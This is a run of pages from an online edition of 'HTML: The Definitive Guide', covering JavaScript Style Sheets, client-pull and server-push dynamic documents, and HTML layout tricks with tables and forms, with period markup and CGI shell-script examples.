One of the most powerful aspects of CSS is its contextual style capability, wherein the browser applies a style to tags only if they appear in the document in a certain nesting. JSS supports contextual styles as well, through the special contextual() method within the tags property. The parameters to this method are the tags and classes that define the context in which Netscape will apply the style. For example,

tags.contextual(tags.UL, tags.UL, tags.LI).listStyleType = 'disc';

defines a context wherein the elements (tags.LI) of an unordered list nested within another unordered list (tags.UL, tags.UL) use the disc as their bullet symbol. The CSS equivalent is:

UL UL LI {list-style-type : disc}

You can mix tags and classes in the contextual() method. For instance:

tags.contextual(classes.abstract.P, tags.EM).color = 'red';

tells the browser to display in red <em> tags that appear within paragraphs that are of the abstract class. The CSS equivalent is:

P.abstract EM {color : red}

Since the tags object is unambiguously included within the contextual() method, you may omit them from the definition. Hence, our nested list example may be rewritten as:

tags.contextual(UL, UL, LI).listStyleType = 'disc';

JavaScript Style Sheet Properties

A subset of the CSS style properties are supported in JSS. The JSS style properties, their CSS equivalents, and the sections in which those properties are fully documented are shown in Table 13.2.

Table 13.2: JavaScript Style Sheet properties and their Cascading Style Sheet equivalents
JSS Property | CSS Property | See section
align | float | 9.3.6.8
backgroundImage | background-image | 9.3.4.3
backgroundColor | background-color | 9.3.4.2
borderBottomWidth | border-bottom-width | 9.3.6.4
borderLeftWidth | border-left-width | 9.3.6.4
borderRightWidth | border-right-width | 9.3.6.4
borderStyle | border-style | 9.3.6.5
borderTopWidth | border-top-width | 9.3.6.4
clear | clear | 9.3.6.7
display | display | 9.3.8.1
fontSize | font-size | 9.3.3.2
fontStyle | font-style | 9.3.3.3
height | height | 9.3.6.9
lineHeight | line-height | 9.3.5.2
listStyleType | list-style-type | 9.3.7.3
marginBottom | margin-bottom | 9.3.6.10
marginLeft | margin-left | 9.3.6.10
marginRight | margin-right | 9.3.6.10
marginTop | margin-top | 9.3.6.10
paddingBottom | padding-bottom | 9.3.6.11
paddingLeft | padding-left | 9.3.6.11
paddingRight | padding-right | 9.3.6.11
paddingTop | padding-top | 9.3.6.11
textDecoration | text-decoration | 9.3.5.4
textTransform | text-transform | 9.3.5.6
textAlign | text-align | 9.3.5.3
textIndent | text-indent | 9.3.5.5
verticalAlign | vertical-align | 9.3.5.7
whiteSpace | white-space | 9.3.8.2
width | width | 9.3.6.12

JSS also defines three methods that allow you to define margins, padding, and border widths within a single style property. The three methods, margins(), paddings(), and borderWidths(), accept four parameters, corresponding to the top, right, bottom, and left margin, padding or border width, respectively. Unlike their CSS counterparts (margin, 9.3.6.10, padding, 9.3.6.11, and border-width, 9.3.6.4), these JSS methods require that you always specify all four parameters. There is no shorthand way in JSS to set multiple margins, paddings, or border widths with a single value.

Previous | Home | Next
JavaScript | Book Index | Dynamic Documents
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 14] Dynamic Documents

HTML: The Definitive Guide

Previous Chapter 14 Next

14. Dynamic Documents

Contents:
An Overview of Dynamic Documents
Client-Pull Documents
Server-Push Documents

The standard HTML document model is a static one. Once displayed on the browser, a document does not change unless the user initiates some activity like selecting a hyperlink with the mouse. The developers at Netscape Communications found that limitation unacceptable and built in some special features to their Navigator browser that let you change HTML document content dynamically. In fact, they provide for two different mechanisms for dynamic documents, which we describe in detail in this chapter. Internet Explorer supports some of these mechanisms, which we'll discuss as well.

We should mention that many people believe dynamic documents will be obsolete in a very short time, displaced by plug-in browser accessories and, in particular, applets. Nonetheless, Netscape and Internet Explorer continue to support dynamic documents, and we believe the technology has virtues you should be aware of, if not take advantage of, in your HTML documents. [the section called "Applets"]

14.1 An Overview of Dynamic Documents

If you remember from our discussion in Chapter 1, HTML and the World Wide Web, the client browser initiates data flow on the Web by contacting a server with a document request. The server honors the request by downloading the document. The client subsequently displays the document's contents to the user. For normal web documents, a single transaction initiated from the client side is all that is needed to collect and display the document. Once displayed, however, it does not change.

Dynamic documents, on the other hand, are the result of multiple transactions initiated from either or both the server side and the client side. A client-pull document is one that initiates multiple transactions from the client side. When the server is the instigator, the dynamic document is known as a server-push document.

In a client-pull document, special HTML codes tell the client to periodically request and download another document from one or more servers on the network, dynamically updating the display.

Server-push documents also advance the way servers communicate with clients. Normally over the Web, the client stays connected with a server for only as long as it takes to retrieve a single document.[1] With server-push documents, the connection remains open and the server continues to send data periodically to the client, adding to or replacing the previous contents.

[1] One connection per document is true even for inline images browsers may automatically download from the server. If you don't believe us, just watch the status line at the bottom of your browser while you download an HTML document with several images. You should see many "Contacting the server" and "Reading the file..." or similar messages.

Netscape is currently the only browser able to handle server-push dynamic HTML documents correctly; both Internet Explorer and Netscape support client-pull documents. With other browsers, you might see only part of the dynamic document at best. At worst, the browser will completely reject the document. Unfortunately, because dynamic documents are client-server processes, they don't work without an HTTP server. That means you can't develop and test your dynamic HTML documents stored as local files, unless you have a server running locally, as well.

Another Word of Caution

As always, we tell you exactly how to use these exciting but nonstandard features, and we admonish you not to use them unless you have a compelling and overriding reason to do so. We are particularly strident with that admonition for dynamic documents, not only because they aren't part of the HTML standard, but because dynamic documents can hog the network. They require larger, longer downloads than their static counterparts. And they require many more (in the case of client-pull) or longer-term (for server-push) client-server connections. Multiple connections on a single server are limited to a few of the vast millions of Web users at a time. We'd hate to see your readers miss out because you've created a jiggling image in a dynamic HTML document that would otherwise have been an effective and readily accessible static document more people could enjoy.

Previous | Home | Next
JavaScript Style Sheets | Book Index | Client-Pull Documents
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 14] 14.2 Client-Pull Documents

HTML: The Definitive Guide

Previous Chapter 14
Dynamic Documents 		Next

14.2 Client-Pull Documents

Client-pull documents are relatively easy to prepare. All you need to do is embed a <meta> tag in the header of your HTML document. The special tag tells the client Netscape browser to display the current document for a specified period of time, and then load and display an entirely new one just as if the user had selected the new document from a hyperlink. (Note that currently there is no way to dynamically change just a portion of an HTML document using client-pull.) [the section called "The <meta> Header Element"]

Uniquely Refreshing

Client-pull dynamic documents work with Netscape and Internet Explorer because the browsers respond to a special HTTP header field called "Refresh."

You may recall from previous discussions that whenever an HTTP server sends a document to the client browser, it precedes the document's data with one or more header fields. One header field, for instance, contains a description of the document's content type, used by the browser to decide how to display the document's contents. For example, the server precedes HTML documents with the header "Content-type: text/html," whose meaning should be fairly obvious.

As we discussed at length in Chapter 7, Links and Webs, you may add your own special fields to an HTML document's HTTP header by inserting a <meta> tag into its <head>. [the section called "The <meta> Header Element"]

The HTTP Refresh field implements client-pull dynamic HTML documents, enabled by the <meta> tag format:

<meta http-equiv="Refresh" content="field value">

The tag's http-equiv attribute tells the HTTP server to include the Refresh field, with a value specified by the content attribute (if any, carefully enclosed in quotation marks), in the string of headers it sends to the client browser just before it sends the rest of the document's content. The browser recognizes the Refresh header as the mark of a dynamic HTML document and responds accordingly, as we discuss next.

The Refresh Header Contents

The value of the content attribute in the special <meta> Refresh tag determines when and how the browser updates the current document. Set it to an integer, and the browser will delay that many seconds before automatically loading another document. You may set the content field value to zero, meaning no delay at all. In that case, the browser loads the next document immediately after it finishes rendering the current one, by which you may achieve some very crude animation effects. [the section called "The content attribute"]

Refreshing the same document

If the Refresh field's content value is the number of seconds alone, the browser reloads that same document over and over again, delaying the specified time between each cycle, until the user goes to another document or shuts down the browser.

For example, the browser will reload the following client-pull HTML document every 15 seconds:

<html>
<head>
<meta http-equiv="Refresh" content="15">
<title>Kumquat Market Prices</title>
</head>
<body>
<h3> Kumquat Market Prices</h3>
Kumquats are currently trading at $1.96 per pound.
</body>
</html>

The financial wizards among you may have noticed that with some special software tricks on the server side, you can update the price of kumquats in the HTML document so that it acts like a ticker-tape machine: the latest kumquat commodity price updated every 15 seconds.

Refreshing with a different document

Rather than reload the same document repeatedly, you can tell the browser to dynamically load a different document. You do so by adding that document's absolute URL after the delay time and an intervening semicolon in the <meta> tag's content attribute. For example,

<meta http-equiv="Refresh"
 content="15; URL=http://www.kumquat.com/next.html">

would cause the browser to retrieve the next.html document from the www.kumquat.com web server after having displayed the current document for 15 seconds.

The URL must be an absolute one, including server type and full pathname; relative URLs don't work.

Cycling among documents

Keep in mind that the effects of the Refresh <meta> tag only apply to the document in which it appears. Hence, to cycle among several documents, you must include a Refresh <meta> tag in each one. The content value for each document in the cycle must contain an absolute URL that points to the next document, with the last document pointing back to the first one to complete the cycle.

For example, the following are the <meta> tags for the headers of each in a three HTML-document cycle:

In the document first.html:

<meta http-equiv="Refresh"
 content="30; URL=http://www.kumquat.com/second.html">

The document second.html contains:

<meta http-equiv="Refresh"
 content="30; URL=http://www.kumquat.com/third.html">

And the third.html document has in its <head> (besides other crazy ideas):

<meta http-equiv="Refresh"
 content="30; URL=http://www.kumquat.com/first.html">

Left alone, the browser will endlessly loop among the three documents at 30-second intervals.

Cycling documents make excellent attractors, catching the attention of passers-by to a web-driven kiosk, for example. Users may then navigate through the wider collection of kiosk documents by clicking hyperlinks in one of the kiosk's attractor pages and subsequent ones.[2]

[2] This brings up a good point: the user may override the Refresh dynamic action at any time; for instance, by clicking a hyperlink before the client-pull timeout expires. The browser always ignores the Refresh action in lieu of user interaction.

To return to the cycling set of attractors, each document in the rest of the collection should have their own Refresh fields that eventually point back to the attractor. You should specify a fairly long delay period for the nonattractor pages--120 to 300 seconds or more--so that the kiosk doesn't automatically reset while a user is reading the current document. However, the delay period should be short enough so that the kiosk resets to the attractor mode in a reasonable period of time after the user finishes.

Pulling Non-HTML Content

Netscape's and Internet Explorer's client-pull feature is not restricted to HTML documents, although it is certainly easiest to create dynamic documents with HTML. With a bit of server-side programming, you can add a Refresh field to the HTTP header of any sort of document from audio files to images to video clips.

For example, create a real-time video feed by adding a Refresh header field in each of a sequence of images grabbed and digitized from a camera. Include a delay of zero with the URL that points to the next image, so that as quickly as the browser displays one image, it retrieves the next. Assuming that the network keeps up, the result is a crude (really crude) TV.

Since the browser clears the window before presenting each subsequent image, the resulting flicker and flash make it almost impossible to present a coherent sequence of images. This technique is more effective when presenting a series of images designed to be viewed as a slide show, where the user expects some sort of display activity between each of the images.

Perhaps a better use of the client-pull feature is with long-playing multimedia documents for which Netscape and Internet Explorer use special helper applications to display. On a multitasking computer, such as one running UNIX or Windows 95, the browser downloads one document, while a helper application plays another. Combine the client-pull capabilities with that multitasking to improve multimedia document performance. Rather than wait for a single, large document like a movie or audio file to download before playing, break it into smaller segments, each automatically downloaded by the previous segment via the Refresh header. The browser will play the first segment while downloading the second, then third, then fourth, and so on.

Combining Refresh with Other HTTP Header Fields

You can have your client-pull dynamic HTML documents perform some neat tricks by combining the effects of the Refresh field with other HTTP header fields. One combination in particular, is most useful: Refresh with a "Redirect" field.

The Redirect field lets the server tell the browser to retrieve the requested document elsewhere at the field's accompanying URL value. The client browser automatically redirects its request to the new URL and gets the document from the new location, usually without telling the user. We retrieve redirected documents all the time and may never notice.

The most common cause for redirection is when someone moves their HTML document collection to a new directory or to a new server. As a courtesy, the webmaster programs the original host server to send an HTTP header field containing the Redirect field and new URL (without a document body) to any and all browsers that request the document from the original location. That way, the new document location is transparent to users, and they won't have to reset their browser bookmarks.

But sometimes you want the user to reset their bookmarks to the new location because the old one won't be redirecting browsers forever, perhaps because it's being taken out of service. One way to notify users of the new location is to have the redirection URL point to some HTML document other than the home page of the new collection that contains a message about the new location. Once noted, users then take a "Continue" hyperlink to the new home page location and set their bookmarks accordingly.

By combining the Redirect and Refresh fields, you can make that notification screen automatically move to the new home page. If the browser receives an HTTP header with both fields, it will honor both; it immediately fetches the redirected URL and displays it, and it sets the refresh timer and replacement URL, if specified. When the time expires, the browser retrieves the next URL--your new home page location--automatically.

A random URL generator

Another application for the combination of Redirect and Refresh HTTP header fields is a perpetual, random URL generator. You'll need some programming skills to create a server-side application that selects a random URL from a prepared list and outputs a Redirect field that references that URL along with a Refresh field that reinvokes the random-URL application after some delay.

When Netscape or Internet Explorer receives the complete header, it immediately loads and displays the randomly selected document specified in the Redirect field's URL. After the delay specified in the Refresh field, the browser reruns the random-URL generator on the server (as specified in the Refresh URL), and the cycle starts over. The result is an endless cycle of random URLs displayed at regular intervals.

Performance Considerations

Client-pull documents consume extra network resources, especially when the refresh delay is small, since each refresh involves a completely new connection to a server. It may take a browser several seconds to contact the server and begin retrieving the document. As a result, rapid updates generally are not feasible, especially over slow network connections.

Use client-pull dynamic documents for low-frequency updates of entire documents, or for cycling among documents without user intervention.

Previous | Home | Next
An Overview of Dynamic Documents | Book Index | Server-Push Documents
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 14] 14.3 Server-Push Documents

HTML: The Definitive Guide

Previous Chapter 14
Dynamic Documents 		Next

14.3 Server-Push Documents

Server-push dynamic documents are driven from the server side. The client-server connection remains open after an initial transfer of data, and the server periodically sends new data to the client, updating the document's display. Server-push is made possible by some special programming, not special HTML embedded tags, on the server side, and is enabled by the multipart mixed-media type feature of Multipurpose Internet Mail Extensions (MIME), the computer industry's standard for multimedia document transmission over the Internet.

Server-push documents currently are not supported by Internet Explorer.

The Multipart/Mixed-Media Type

As we mentioned earlier in this chapter in the discussion of client-pull dynamic documents, the HTTP server sends a two-part transmission to the client browser: a header describing the document followed by the document itself. The document's MIME type is part of the HTTP header field. Normally, the server includes Content-type: text/html in an HTML document's header before sending its actual contents. By changing that content type to multipart/mixed-media, you can send an HTML document or several documents in several pieces, rather than in a single chunk. Only Netscape, though, understands and responds to the multipart header field; the other browsers either ignore additional parts or refuse the document altogether.

The general form of the MIME multipart mixed-media content type header looks like this:

Content-type: multipart/mixed;boundary="SomeRandomString"

This HTTP header component tells the Netscape client to expect the document to follow in several parts and to look for SomeRandomString, which separates the parts. That boundary string should be unique and not appear anywhere in any of the individual parts. The content of the server-to-client transmission looks like this:

--SomeRandomString
Content-type: text/plain
Data for the first part
--SomeRandomString
Content-type: text/plain
Data for the second part
--SomeRandomString--

The above example has two document parts, both plain text. The server sends each part preceded by our SomeRandomString document-boundary delimiter preceded by two dashes, followed by the Content-type field, and then the data for each part. The last transmission from server to client is a single reference to the boundary string followed by two more dashes indicating that this was the last part of the document.

Upon receipt of each part, the Netscape browser automatically adds the incoming data to the current document display.

You've got to write a special HTTP server application to enable this type of server-push dynamic document; one that creates the special HTTP MIME multipart/mixed header and sends the various documents separated by the boundary delimiter.

Multipart Mixed-Replace-Media Type

Server-push dynamic document authors also may use an experimental variant of the MIME multipart mixed-media content known as multipart mixed-replace-media. The difference between this special content-type and its predecessor is that, rather than simply adding content to the current display, the "replace" version has each subsequent part replace the preceding one.

The format of the mixed-replace HTTP header is very similar to its multipart mixed counterpart; the only difference is in the Content-type:

multipart/x-mixed-replace;boundary=SomeRandomString

All other rules regarding the format of the multipart content are the same, including the boundary string used to separate the parts and the individual Content-type fields for each part of the content.

Exploiting Multipart Documents

It is easy to see how you can use the two special MIME multipart content types to create server-push dynamic documents. By delaying the time between parts, you might create an automatically scrolling message in the Netscape browser window. Or by replacing portions of the document through the x-mixed-replace MIME type, you might include a dynamic billboard in your document, perhaps even animation.

Note in particular that server-push multipart documents need not apply only to HTML or other plain text documents. Images, too, are a MIME-encoded content type, so you can have the HTTP server transmit several images in sequence as parts of a multipart transmission. Since you may also have each new image replace the previous one, the result is crude animation. Done correctly over a network of sufficient bandwidth, the effect can be quite satisfying.

Efficiency considerations

Server-push documents keep a connection open between the client and server for the duration of the dynamic document's activity. For some servers, this may consume extra network resources and may also require that several processes remain active, servicing the open connection. Make sure the server-push process (and, hence, the client-server connection) expire upon completion or after some idle period. Otherwise, someone will inadvertently camp on an endlessly cycling server-push document and choke off other users' access to the server.

Before choosing to implement server-push documents, make sure that your server can support the added processing and networking load. Keep in mind that many simultaneous server-push documents may be active, multiplying the impact on the server and seriously affecting overall server performance.

Creating a Server-Push Document

You create a special application that runs with the HTTP server to enable server-push dynamic documents. The application must create the special MIME Content-type header field that notifies the Netscape browser that the following document comes in several parts--added to or replacing a portion of the current document. The application must also create the appropriate boundary delimiter and send the Content-type header and data for each part, perhaps also delaying transmission of each part by some period of time. You will need to consult your server's documentation to learn how to create a server-side application that can be invoked by accessing a specific URL on the server. With some servers this may be as simple as placing the application in a certain directory on the server. With others, you may have to bend over backwards and howl at the moon on certain days.

Server-push example application for NCSA and Apache httpd

The NCSA and Apache httpd servers run on most UNIX systems. Administrators usually configure the server to run server-side applications stored in a directory named cgi-bin.

The following is a simple UNIX shell script that illustrates how to send a multipart document to a Netscape client via NCSA or Apache httpd:[3]

[3] It is an idiosyncrasy of NCSA httpd that no spaces are allowed in the Content-type field that precedes your multipart document. Some authors like to place a space after the semicolon and before the boundary keyword. Don't do this with NCSA httpd; run the whole Content-type together without spaces to get the server to recognize the correct multipart content type.

#!/bin/sh
#
# Let the client know we are sending a multipart document
# with a boundary string of "NEXT"
#
echo "HTTP/1.0 200"
echo "Content-type: multipart/x-mixed-replace;boundary=NEXT"
echo ""
echo "--NEXT"
while true
do
#
# Send the next part, followed by a boundary string
# Then sleep five seconds before repeating
#
 echo "Content-type: text/html"
 echo ""
 echo "<html>"
 echo "<head>"
 echo "<title>Processes On This Server</title>"
 echo "</head>"
 echo "<body>"
 echo "<h3> Processes On This Server</h3>"
 echo "Date:"
 date
 echo "<p>"
 echo "<pre>"
 ps -el
 echo "</pre>"
 echo "</body>"
 echo "</html>"
 echo "--NEXT"
 sleep 5
done

In a nutshell, this example script updates a list of the processes running on the server machine every five seconds. The update continues until the browser breaks the connection by moving on to another document, or after completing 60 cycles (about five minutes).

We offer this shell script example to illustrate the basic logic behind any server-push document generator. In reality, you should create your server-side applications using a more conventional programming language like Perl or C. The applications run more efficiently and can better detect when the client has severed the connection to the server.

Previous | Home | Next
Client-Pull Documents | Book Index | Tips, Tricks, and Hacks
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 15] Tips, Tricks, and Hacks

HTML: The Definitive Guide

Previous Chapter 15 Next

15. Tips, Tricks, and Hacks

Contents:
Top of the Tips
Trivial or Abusive?
Custom Bullets
Tricks with Tables
Transparent Images
Creating New Windows
Multiple Frames in One Link

We've sprinkled a number of tips, tricks, and hacks throughout this book, along with style guidelines, examples, and instructions. So why have a special chapter on tips, tricks, and hacks of HTML? Because it's where many readers will leaf when they pick up this book for the first time. HTML is the language, albeit constrained, that makes the World Wide Web on the Internet the exciting place that it is. And interested readers want to know, "How do I do the cool stuff?"

15.1 Top of the Tips

The most important tip for even veteran HTML authors is to surf for yourself. We can show and explain a few neat tricks to get you started, but there are thousands of HTML authors out there combining and recombining HTML tags and juggling content to create compelling and useful documents.

Get a bona fide Internet account; get a copy of Netscape, Internet Explorer, and whatever other browser you feel comfortable operating; get connected; and get cruising. Collect web site URLs from friends, business associates, and the traditional media. Even local TV and radio stations have taken to announcing some of their sponsors' web site URLs. And consult the many different Internet web directories like Yahoo and AltaVista for new and up-to-date addresses for the web sites that suit your lifestyle or business niche.

Examine (don't steal) their pages for eye-catching and effective pages and use them to guide your own creations. Capture and examine the source HTML documents for the juicy bits. Get a feel of the more effective web collections. How are their documents organized? How large is each document? And so on.

We all learn from experience, so go get it.

Design for Your Audience

We continuously argue throughout the book that, with HTML documents, content matters most, not look. That doesn't mean that presentation doesn't matter.

Effective HTML documents match your target audience's expectations, giving them a familiar environment in which to explore and gather information. Serious academicians expect a treatise on the physiology of the kumquat to appear journal-like: long on meaningful words, figures, and diagrams and short on frivolous trappings like cute bullets and font abuse. Don't insult the reader's eye, except when exercising artistic license to jar or attack your reader's sensibilities.

By anticipating your audience and by designing your documents to appeal to their tastes, you also subtly deflect unwanted surfers from your pages. Undesirables, such as penniless college students surfing your commercial site, may hog your server's resources and prevent the buying audience you desire from ready access to your pages.

For example, you can use subtle colors and muted text transitions between sections for a classical art museum's collection to mimic the hushed environment of a real classical art museum. The typical rock-n-roll crazed web surfer maniac probably won't spend more than a glance at your site, but the millionaire arts patron might.

Also, use effective layout to gently guide your readers' eyes to areas of interest in your documents. Do that by adhering to the basic rules of document layout and design, such as placing figures and diagrams nearby--if not inline--with their content reference. Nothing's worse than having to scroll up and down the browser window in a desperate search for a picture that can explain everything.

We won't lie and suggest that we're design experts. We aren't, but they're not hard to find. So, another tip for the serious web page author: seek professional help. The best situation is to have design experience yourself. Next best is to have a pro looking over your shoulder, or at least somewhere within earshot.

Make a trip to your local library and do some reading on your own, too. Even better yet, browse the various online HTML guides. Check out Designing for the Web by O'Reilly & Associates. Your readers will be glad you did. [the section called "Tools for the HTML Designer"]

Boilerplate HTML Documents

The next best tip we can give you is to reuse your documents. Don't start from scratch each time. Rather, develop a consistent framework, even to the point of a content outline into which you add the detail and character for each page. You might even endevour to create style sheets, so that the look and feel of you documents remain consistent.

Here's our contribution to help start your boilerplate HTML document collection. The following source contains what the HTML standard currently tells us is the minimum content that should appear in every HTML document (regardless of what the browsers might let you get away with) and then some added for document clarity. Use it as a skeleton for your own HTML documents:

<html>
<head>
<title>Required--replace this title with your own</title>
</head>
<body>
<h3>Reiterate the title here</h3>
...Insert your document's contents here...
<address>Include your name and contact information
usually at the end of the document</address>
</body>
</html>

Previous | Home | Next
Server-Push Documents | Book Index | Trivial or Abusive?
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 15] 15.2 Trivial or Abusive?

HTML: The Definitive Guide

Previous Chapter 15
Tips, Tricks, and Hacks 		Next

15.2 Trivial or Abusive?

There is perhaps no more abused or abusive HTML document device than the <blink> tag extension for text content currently supported by, thank heaven, only the Netscape browser.[1]

[1] Few web surfers use Internet Explorer, so you rarely and thankfully won't find many HTML documents using the browser's equally tacky <marquee> feature.

It works by alternating the color of the text enclosed between the <blink> tag and its end tag (</blink>)--incessantly! It's not only ugly (reminiscent of the very bad video-text displays on a hotel TV), but it's excruciatingly annoying. The reader can't turn it off except to scroll beyond that portion of the document or hyperlink out of the document altogether. [the section called "Physical Style Tags"]

Okay, so it grabs readers' attention to make an important point. Just make sure it's a very important point. And here's a tip: Make it easy for the reader to get by the blinking segment in your document. Surround it with empty space or with pleasant, but vacuous content that they don't have to read.

Previous | Home | Next
Top of the Tips | Book Index | Custom Bullets
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 15] 15.3 Custom Bullets

HTML: The Definitive Guide

Previous Chapter 15
Tips, Tricks, and Hacks 		Next

15.3 Custom Bullets

One common use of the definition list has nothing to do with definitions, but instead deals with adding custom bullets to an otherwise unordered list. In this trick, leave the <dt> tag empty, and add an <img> tag that references the desired bullet image at the beginning of each <dd> tag. [the section called "The <dl> Tag"] For example:

<dl>
  <dt><dd><img src="fancy_bullet.gif"> Pickled Kumquats
  <dt><dd><img src="fancy_bullet.gif"> 'Quats and 'Kraut
  <dt><dd><img src="fancy_bullet.gif"> 'Quatshakes
  <dt><dd><img src="fancy_bullet.gif"> Liver with Fried 'Quats
</dl>

The fancier list is shown in Figure 15.1.

Figure 15.1: Custom bullets for unordered lists

[Graphic: Figure 15-1]

Keep in mind that this trick works well only if your list items are short enough to not wrap within the browser window. If the item does wrap, the next line will start aligned with the left edge of the bullet, not the left edge of the text, as you might hope.

Previous | Home | Next
Trivial or Abusive? | Book Index | Tricks with Tables
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 15] 15.4 Tricks with Tables

HTML: The Definitive Guide

Previous Chapter 15
Tips, Tricks, and Hacks 		Next

15.4 Tricks with Tables

Enough with the cheap tricks. On to some really good ones: tricks with the HTML <table> tag and attributes that add some attractive features to your documents.

By design, HTML tables let authors create appealing, accessible tables of information. But the HTML table tags also can be exploited to create innovative, attractive page designs that are otherwise unobtainable in standard HTML.

Multicolumn Pages

One very common and popular page-layout element missing from HTML until recently is multiple columns of text. Although Netscape now supports the <multicol> extension, for a more universal solution (at least until the majority of your audience gets the latest version of Netscape), place your document content inside a table of one row with two or more columns. [the section called "The <multicol> Tag"]

Basic multicolumn layout

The basic two-column layout using <table> has a single table row with three data cells: one each for the columns of text and an intervening empty cell to more attractively separate the two columns. We've also added a large cellspacing attribute value to create additional intervening space between the columns.

The following example table is an excellent template for a simple two-column text layout:

<table border=0 cellspacing=7>
  <tr>
    <td>Copy for column 1...
    <td><br>
    <td>Copy for column 2...
 </table>

See Figure 15.2 for the results.

Figure 15.2: A simple two-column layout

[Graphic: Figure 15-2]

The one thing the browsers won't do is automatically balance the text in the columns, resulting in adjacent columns of approximately the same length. You'll have to experiment with your document, manually shifting text from one column to another until you achieve a nicely balanced page.

Keep in mind, though, that users may resize their display windows and the columns' contents will shift accordingly. So don't spend a lot of time getting the last sentences of each column to line up exactly; they're bound to be skewed in other browser window widths.

Of course, you can easily convert the example layout to three or more columns by dividing the text among more cells in the table. But keep in mind that pages with more than three columns may prove difficult to read on small displays where the actual column width might be quite small.

Straddle heads

The basic multicolumn format is just the start. By adding cells that span across the columns, you create headlines. Similarly, you can make figures span across more than one column: simply add the colspan attribute to the cell containing the headline or figure. Figure 15.3 shows an attractive three-column layout with straddle heads and a spanning figure, created from the following HTML source with table tags:

<table border=0 cellspacing=7>
  <tr>
    <th colspan=5><h2>The History of the Kumquat</h2>
  <tr valign=top>
    <td rowspan=2>Copy for column 1...
    <td rowspan=2 width=24><br>
    <td >Copy for column 2...
    <td width=24><br>
    <td >Copy for column 3...
  <tr>
    <td colspan=3 align=center><img src="pics/fruit.gif">
    <p>
    <i>The Noble Fruit</i>
</table>

To achieve this nice layout, we used the colspan attribute on the cell in the first row to span all five table columns (three with copy and the two intercolumn spaces). We use the rowspan attribute on the first column and its adjacent column spacer to extend the columns down beside the figure. The figure's cell has a colspan attribute so that the contents span the other two columns and intervening spaces.

Figure 15.3: Fancy straddle heads and spanning figures with HTML table tags

[Graphic: Figure 15-3]

Side Heads

The only text-heading features available in HTML are the <h1> through <h6> tags. These tags are always embedded in the text flow, separating adjacent paragraphs of text. Through multiple columns, you can achieve an alternative style that places headings into a separate side column, running vertically alongside the document text.

Figure 15.4 shows you a fairly fancy pair of side heads, the result of the following bit of source HTML table code:

<table>
  <tr>
  <th width="30%" align=right>
    <h3>Section 1</h3>
  <td>
  <td>
    Copy for section 1 goes on and on a bit
    so that it will take up more than one line in the
    table cell window...
  <tr>
  <th align=right>
    <h3>Section 2</h3>
  <td>
  <td>
    Copy for section 2 goes on and on a bit
    so that it will take up more than one line in the
    table cell window...
</table>

Notice how we create reasonably attractive side heads set off from the left margin of the browser window by adjusting the first header cell's width and right-justifying the cell contents.

Figure 15.4: Table tags created these side heads

[Graphic: Figure 15-4]

Just as in our multicolumn layout, the example side-head layout uses an empty column to create a space between the narrow left column containing the heading and the wider right column containing the text associated with that heading. It's best to specify that column's width as a percentage of the table width, rather than explicitly in numbers of pixels to make sure that the heading column scales to fit both wide and narrow display windows.

When tables aren't implemented

One of the dangers of being overly dependent on tables is that your documents are usually unreadable when viewed with browsers that don't support tables. In the case of side heads, though, your document will come out just fine on a "table-challenged" browser.

Most browsers follow one of the Internet's basic tenets: be liberal in what you accept and strict in what you create. This usually means the browser will ignore tags that don't make sense, including all of the markup that creates a table.

In the case of our side-head layout, the browsers that can't do tables ignore the table tags and only see this part of the document:

<h3>Section 1</h3>
  Copy for section 1 goes on and on a bit
  so that it will take up more than one line in the
  table cell window...
<h3>Section 2</h3>
  Copy for section 2 goes on and on a bit
  so that it will take up more than one line in the
  table cell window...

Of course, this is a perfectly valid sequence of HTML that generates a conventional document with sections divided by <h3> headers. Your document will look fine, regardless of the browser, table-capable or not.

Better Forms Layout

Of all the features in HTML, it's forms that cry out for better layout control. Unlike other structured elements in HTML, forms look best when rendered in a fixed layout with precise margins and vertical alignment of elements. However, except for carefully planned <pre> formatted form segments, the common language just doesn't give us any special tools to better control forms layout.

Basic form layout

Your forms will almost always look better and be easier for your readers to follow if you use a table to structure and align the form's elements. For example, you might use a vertical alignment to your forms, with field labels to the left and their respective form elements aligned to an adjacent vertical margin on the right. Don't try that with just standard HTML.

Rather, prepare a form that contains a two-column table. The following HTML source does just that, as shown in Figure 15.5:

<form method=post action="http:/cgi-bin/process">
  <table>
    <tr>
      <th align=right>Name:
      <td><input type=text size=32>
    <tr>
      <th align=right>Address:
      <td><input type=text size=32>
    <tr>
      <th align=right>Phone:
      <td><input type=text size=12>
    <tr>
      <td colspan=2 align=center>
      <input type=submit value="Register">
  </table>
</form>

Of course, more complex form layouts can be managed with tables. We recommend you first sketch the form layout on paper and then plan how various combinations of table elements, including row- and column-straddled table cells might be used to effect the layout.

Figure 15.5: Align your forms nicely with tables

[Graphic: Figure 15-5]

Building forms with nested tables

As we mentioned earlier, you may place a table inside the cell of another table. While this alone can lead to some elaborate table designs, nested tables also are useful for managing a subset of form elements within the larger table containing the entire form. The best application for using a nested table in a form is for laying out checkboxes and radio buttons.

For example, insert the following row containing a table into the form table in the previous example. It creates a checkbox with four choices:

<tr>
  <th align=right valign=top>Preferences:
  <td>
  <table>
    <tr>
    <td><input type=checkbox name=pref>Lemons
    <td><input type=checkbox name=pref>Limes
    <tr>
    <td><input type=checkbox name=pref>Oranges
    <td><input type=checkbox name=pref>Kumquats
  </table>

Figure 15.6 shows you how this nested table attractively formats the checkboxes, which browsers would otherwise render on a single line and not well aligned.

Figure 15.6: Nesting tables to format elements of a form

[Graphic: Figure 15-6]

Embedded Guides

We generally argue for subtlety when you include hyperlinks in your documents, embedding them within the content and within context. But there are times when prominent guides to additional content are appropriate, like street signs in a crowded neighborhood.

Traditionally, HTML authors have placed their street signs (arrow icons with text labels) between major sections or at the beginning and end of the document to guide users back to a home page or on to the next page in the document series. Using <table> and its align attribute, you also can embed those guideposts within the document flow, but distinct from the content. And tables help you align the signpost elements for a more pleasing and concise presentation.

